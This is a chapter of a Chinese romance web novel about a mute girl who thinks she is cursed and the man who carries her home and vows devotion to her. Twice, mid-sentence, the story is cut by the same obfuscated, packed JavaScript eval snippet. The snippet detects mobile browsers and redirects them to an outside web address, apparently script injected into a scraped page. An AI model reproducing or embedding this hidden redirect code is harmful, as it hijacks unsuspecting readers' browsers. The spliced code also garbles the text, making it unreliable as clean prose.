《渔夫和金鱼》的故事谁不知道,贪得无厌的人会失去一切。她也早就存了疑影儿,夏家有多大能耐可以帮上宫寻阙啊,顶多是不足挂齿的小忙罢了。 唯一可以确定的,是这份浅薄的恩情,为她编织出了一场太过美好的白日梦。 既然是梦,就有醒来的那一刻。 夏之荧停下脚步。 皮鞋搭扣断掉了。 没关系,反正她也走不动了,两条腿像灌了铅一样沉,每走一步都疼得要命。 她抱住膝盖,在路边蹲了下来。 自己现在这样真的很像迷了路的小孩。 隐约记得小时候有偷溜出去过,应该是为了去江边看烟花。结果膝盖也摔破了,人也迷路了,只能站在那儿无助抽泣。 后来自己是怎么回去的? 她想不起来了。 自己跟别的小朋友不一样,又不会有爸爸妈妈来接,大概是遇到了好心的大人了吧。 夏之荧垂下眼帘,自己的影子好难看,黑黑的一小团蜷缩在脚边。不像宫先生的影子,每次跟在他身后,盯着看也看不厌。 她伸出手,从路边绿化带的草丛里,拣了一块带尖角的石子儿,在地上画起了画。 画最喜欢的小羊、兔子和猫咪来陪她,不比丑兮兮的影子好很多吗? 她认真地画完了。 一点儿用都没有。 她握紧小石子儿,忽然想画宫寻阙了。 宫先生是什么样子? 宫先生头发和眼睛都很黑,比一般人黑得多,像浓得化不开的墨,黑得能把人的视线都吸进去。 肩膀很宽,个子很高,自己看要仰起头才能看清他。但是没关系,他和自己说话的时候,不是俯身就是半蹲,和自己视线相平。 脸上线条很硬,骨相凌厉到仿佛多看一秒眼珠都会被割伤,不笑的时候有点凶巴巴的。可对自己,总是很温柔,很关心。 闭上眼睛,就能清楚描绘出来。 石子尖儿顿在地上,浅浅落了个起笔,又不动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15420387|169013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 夏之荧把它抛回了草丛。 不想画他。 想见他。 她想回玻璃宫了。 离开前明明下定了决心,决心却一下子就碎了。 好像就在不久前,她被抓去Masquerade都没有哭。短短这些日子,她像埋在地下几百年的文物被挖出,一接触到空气就迅速氧化,变得脆弱不堪。 夏之荧站起身,拍了拍裙子。 前面和后面都是不见尽头的道路,她本来就是路痴,就算想回玻璃宫也不知道该怎么走。 以前听过的童话成了应验的谶语,小女孩勇敢地走进黑暗的森林,沿路撒下面包屑做标记。当她终于开始孤单害怕的时候,才发现丢下的那些碎屑已经被往来的飞鸟啄食干净。 一时意气的冲动,摇摆不定的决心,全部反噬为惩罚她的报应。 夏之荧低下头。 而且,她的皮鞋搭扣坏了,寸步难行。 她只能又蹲了下来,盯着自己的丑影子。 一双穿着郎丹泽手工布洛克鞋的脚在她跟前停下。 路面上,高瘦的影子靠近过来,一下子吞没了她那团小小的影子。 雪白龙胆苦涩的香气如潮水萦绕,在鼻息里强烈又鲜明地浮动。 随之响起的是男人沉得辨不出情绪的声音。 “阿荧。” 15. 但为君故 夏之荧肩膀瑟缩了一下,把头埋得更低。 但男人的视线像一张密织的网,牢牢笼罩在她的身上,她无从躲避,更无处遁逃。 不告而别有多过分,她比谁都清楚,她自己就是永远被抛下的那一个。 可她却对很好的宫寻阙做了一模一样的坏事情,她都不敢想象他该有多失望、多生气。 素描本和钢笔都被留在了玻璃宫,不能说话又丧失了工具,此时此刻,她想道一句歉都不行。 夏之荧胸口一片冰凉,像被狠狠塞进了一把碎冰碴子,每一口呼吸都冻得发痛。 “夜深了,我带你回去。” 男人低醇悦耳的声音在夜色里弥漫开来,平稳而沉静,没有令人不安的情绪起伏,听上去跟平时毫无区别。 她的心却被猝不及防地揉皱,满满的酸涩溢到喉咙口,迫得眼眶都在发烫。 她想装听不见。 她的脚很疼,皮鞋搭扣也断掉了,她不知道自己该怎么回去。 她还能回玻璃宫吗? “我背你。”男人淡声道。 夏之荧一颤,难以置信地抬起头,只见宫寻阙转过身,背朝着她半蹲下来。逆光里黑色的剪影,沉淀出宽阔而坚实的轮廓。 她一下子就慌了神,不知是为宫寻阙的这一举动,还是为自己一瞬间真的生出了想靠上去的念头。 想拒绝,想说自己没那么娇气,想说脱掉皮鞋拎在手上也能走路,但她一个字都吐不出来。 无论是粗糙的借口和理由,还是拼命压抑着的真实念头,都只能乱七八糟地混在一起,生生咽进肚子里。 宫寻阙仍维持着半蹲的姿势,没有催她,只是等她。 无声的、耐心的,但又是固执的、不容抗拒的。 夏之荧犹豫着伸出手,指尖快触碰到男人肩膀的刹那,她退怯了。 连影子也跟着一起退缩。 另一道影子迅速逐了过来。 手腕被轻缓而有力地拢握住,她还没意识到发生了什么,整个人就向前一倾,自然而然地攀到了宫寻阙的背上。 她本能地怕摔,下意识就伸出手牢牢圈住他的颈项。不过男人将她很稳地托住了,她的视线随着男人直起身而升高,眼前的风景变得不可思议地开阔起来。 原来大高个子的人看出去的世界是这样的吗? 风过树梢,沙沙作响,雪白龙胆的苦香从未如此浓烈。 夏之荧缓慢地眨了下眼睛。 自己现在……真的被宫先生背着? 好像是真的。 男人的侧脸近在眼前,几乎只隔着一层黑纱的距离。周围光线暗淡,疏疏朗朗的几缕,却依然将他的轮廓描绘得发亮,锋锐分明的线条也被柔化。 宫先生找到了她,又一次找到了她。 找到她,还要带她回家。 “你答应过我,会帮我照顾棉花糖。”男人静静地开了口。 是自己食言了,她难过地垂下眼帘。 但有宫先生在,棉花糖也能被照顾得很好吧?自己对棉花糖而言,不是必需的,也不是唯一的。 “只有你是不可取代的。”宫寻阙默了默,“因为,你是它遇见的第一个对它伸出手的人。” 宫先生也是这样。 夏之荧喉咙里涌上热气,不知是缘了酸楚满溢的哽咽,还是被渴望开口的冲动牵引。 你也是这个世界上,第一个对我伸出手的人啊。 “我实在放心不下,才回了玻璃宫一趟。”男人声调闷哑地落了下去,“没有故意跟踪你,你别怕我。” 怎么会。 夏之荧摇了摇头,却意识到宫寻阙现在看不见自己。 她抬起手背,揉了一下眼睛。 怎么会。 想说话的念头又开始一波一波袭击她的心。 池医生一定用善意的谎言骗了她。她的心明明病得厉害,不然怎么会这样难受。 通往玻璃宫的路有一段上坡,行至最陡的地方,夏之荧感觉宫寻阙的左腿有些晃颤,似是难以支撑。 是自己太重了吗?她轻挣了一下,想下来自己走。 虽是很细微的动静,男人还是第一时间敏锐捕捉到了。 “没事。”他道。 是他腿的问题,背上的女孩儿几乎轻得没有分量。她就像一朵霜白的雪花,一粒纤巧的冰晶,又或是一片天鹅的白羽,轻飘飘地落在了他的身上 阿荧小时候有这么轻吗? 他记不清了。 上一次背阿荧,还是很多年前的一个夜晚。他偷偷带她溜出去,两个人去浦江边上看夜景,还有绚丽斑斓的烟花。 但那天游客实在太多了,尽管他一直紧紧牵着她的手,他们还是被人群冲散。 手心空了,他也彻底慌了。阿荧小小的一个女孩子,淹没在拥挤的人潮里根本寻不见。她又很少出门,不认得路也没方向感,万一被裹挟着去了别的地方…… 他不敢往下想了。稍微一想,就止不住地发抖。 他把阿荧弄丢了,她本来胆子就小,现在不知道该有多害怕、多绝望。 可当他终于找到她的时候,她并没有在哭。 她只是安安静静地蹲在路边的人行道上,看见他一瘸一拐地朝自己走来,眼睛亮亮的像汪着一层水光,用力抿紧了嘴巴。 她的一只皮鞋被挤掉了,他就背着她回去,沿着江边一步步地走。对岸摩天大楼五光十色地闪烁,把他们衬得小之又小。 “对不起,是我要你带我出来的……”她小小声地道歉。 “没事。” “重吗?” “有点。” 后脖颈一烫,衣领里好像掉进了温热的液体。 他赶紧纠正,“没关系,我背得动,我带你回家。” 笨拙的安慰还不如不说,她咧开嘴大哭了起来。 烟花还在持续升空,一朵一朵在夜幕绽开。每个人都惊喜地仰起头,绮丽的光色将他们的脸照亮。 他低着头,盯着地上的影子,心里只是在想: 怎么办,阿荧哭了。 又有一滴眼泪滚进了他的衬衣衣领,热气直透他的心脏。 宫寻阙抬起眼,玻璃宫就在前面不远的地方。 隔了这么多年,他到底把阿荧带回来了。 女孩儿已经迷迷糊糊地睡去,泪痕半干未干,在他黑色的西服外套上烙出一团更深的印记。 他轻手轻脚地把她放到床上,如抱瓷一般小心翼翼,但还是不当心碰松了她盘起来的头发。 雪白的长发就这么打着卷儿披散下来,泼泼洒洒,几乎铺了满床。 景观灯的光芒透过玻璃幕墙吻上发梢,泛起细碎的冷银光泽,整间卧室盈满洁净而馥郁的清香。 她半蜷着身子,漆黑的裙摆像一朵曼陀罗花,盛开在浸透月华的白雪之中。 男人抬起指尖,想要触碰一缕逶迤垂落的发丝,却又像怕被火星子燎痛一般,飞快地缩了回来。 对饱受折磨的罪人而言,这是多么奢侈的安慰,胜过跋涉在焦热沙漠时汲取到的唯一一滴清水。 但没有她的许可,他又怎么敢。 纵使有无限的渴望,可以言说的,秘不能宣的,光明坦荡的,阴湿晦暗的,也只能用心火淬炼成一根针,藏在胸腔深处最柔软的某处角落。 每一次呼吸,每一次剧痛。 “阿荧……”男人发出含混的叹息,“我该怎么办才好。” 这些年,他舍弃了所有作为人的感情,不顾一切地厮杀出一条血路。他以为自己终于无所不能,终于能强大到保护她不受伤害,也终于可以把世间最美好珍贵的一切捧到她跟前。 但现实总是事与愿违。 阿荧把自己困囿在厚织的茧中,他想带她飞出来,可一丁点儿外力都会害她痛苦,而他又如何能做到视若无睹。 命运总是爱对他开残酷的玩笑,从过去到现在,一刻都未曾放过他。 “没心的怪物!” 耳边仿佛又回荡起宫君鸿撕心裂肺的骂声。 “我大哥是你害死的,宋明涵那条老狗一辈子也是被你毁了,谁对你好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15420388|169013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,谁爱护你,谁就不得好死!你注定是个孤家寡人,死了都没人替你收尸!” 宫寻阙抬起手,缓慢而用力地握住了手杖的五瓣花杖头。 刀刃般锋利的花瓣又在划割他的掌心,蔓延开尖锐的刺痛。 他就这样一动不动地坐着,背影在微光里宛如死寂的黑暗地带。 棉花糖伸了个懒腰,弓起背,长长地“喵”了一声 夏之荧很浅的睡眠被惊断了。 说来也怪,男人背着她的时候,她睡得熟沉。现在躺在松软的大床上,反倒不那么安稳。 她很慢地坐起身,双臂习惯性地抱住膝盖,一声不响,一动不动,一如当初刚被救下时那样。 仿佛一切又回到了起点。 所有好转的迹象、治愈的希望,尽数化作了梦幻泡影。 “阿荧。” 夏之荧听见宫寻阙在唤自己,还是十分醇悦动人,像海面上远远飘荡而来的潮声。但她永远不可能用自己的声音,对他做出任何回应了。 少女闭了闭眼,横下心,指向茶几上的素描本。 那本素描本还是端端正正地摆放着,和她离开时毫无区别。 “你在上面写了什么吗?”宫寻阙道,“我还没看。” 他心有所感地回到玻璃宫,人遍寻不见,眼里怎么可能还看得见别的。 果然是这样,夏之荧浑身一颤。 如果宫先生看过了上面写的东西,一定不会来找自己了。 “阿荧,你希望我看吗?” 她当然不愿意,一千一万个不愿意。 她点了点头。 宫寻阙走过去,拿起素描本。 洁白的纸页上,墨迹黑亮。 【宫先生,对不起,一直没有告诉你真相】 【我是一个坏神明的转世,我的声音,我的样子,甚至是我的触碰,只要是源于我的一切,都会给身边的人带来不幸】 【我情愿一辈子这样,也不想再有谁因我受伤害,尤其是你】 【瞒了你这么久真的很抱歉,是我太怯懦、太自私了,但我真的没想伤害你】 【这段时间谢谢你的照顾,希望你以后没有烦恼,每天都过得开开心心】 写完这些字的时候,她也变成了一具刚淬火的陶瓷人偶,自恃坚硬却易碎,散尽了热量,而且空了心。 夏之荧颤颤掀起一线眼睫,映入眼帘的是男人低头翻看的背影。 还好,看不见他的表情。不想看见,也不敢想象。 宫寻阙合上素描本,放好。 “我看完了。” 夏之荧的心沉重地坠了下去。 接下来,男人会对自己说些什么、做些什么,变得不言而喻。 她是灾星,是祸源,妈妈、爸爸、爷爷、姐姐,甚至没有血缘关系的陶阿姨,没有一个人逃得过,也没有一个人不怕她。 宫先生再好,一定也会害怕。 怕了,他就会像其他人一样,让自己离得远远的。 这样正好,这也是她诚心所愿。 她很满足,没有不舍。唯一的遗憾,是终究没能叫出宫寻阙的名字 “啪嗒。” 男人扔掉了寸步不离的五瓣花乌木手杖,在她跟前半跪了下来。 他的动作透出些许不灵便,却又熟稔得不可思议。 “阿荧,那又怎么样啊?” 宫寻阙说话了,声线嘶哑得可怕,却又泄露出异样的热忱,甚至是狂热。 “厄运如何,死亡又如何,事到如今,我还会惧怕这些吗?” 男人抬起手,缓缓落向自己的左侧胸膛。 “如果你是恶神,那就让我成为你的信徒。从今以后,你就是我唯一信奉的神,凡你予我的皆是赐福。” 死寂。 静得只能听见男人在沉默里逐渐粗重的呼吸。 “宫……寻……阙……” 黑纱下蓦地传来轻柔空灵的声音,好听得难以形容,可每个音节又都生涩得锈迹斑驳。 “你知道……你在说什么吗?”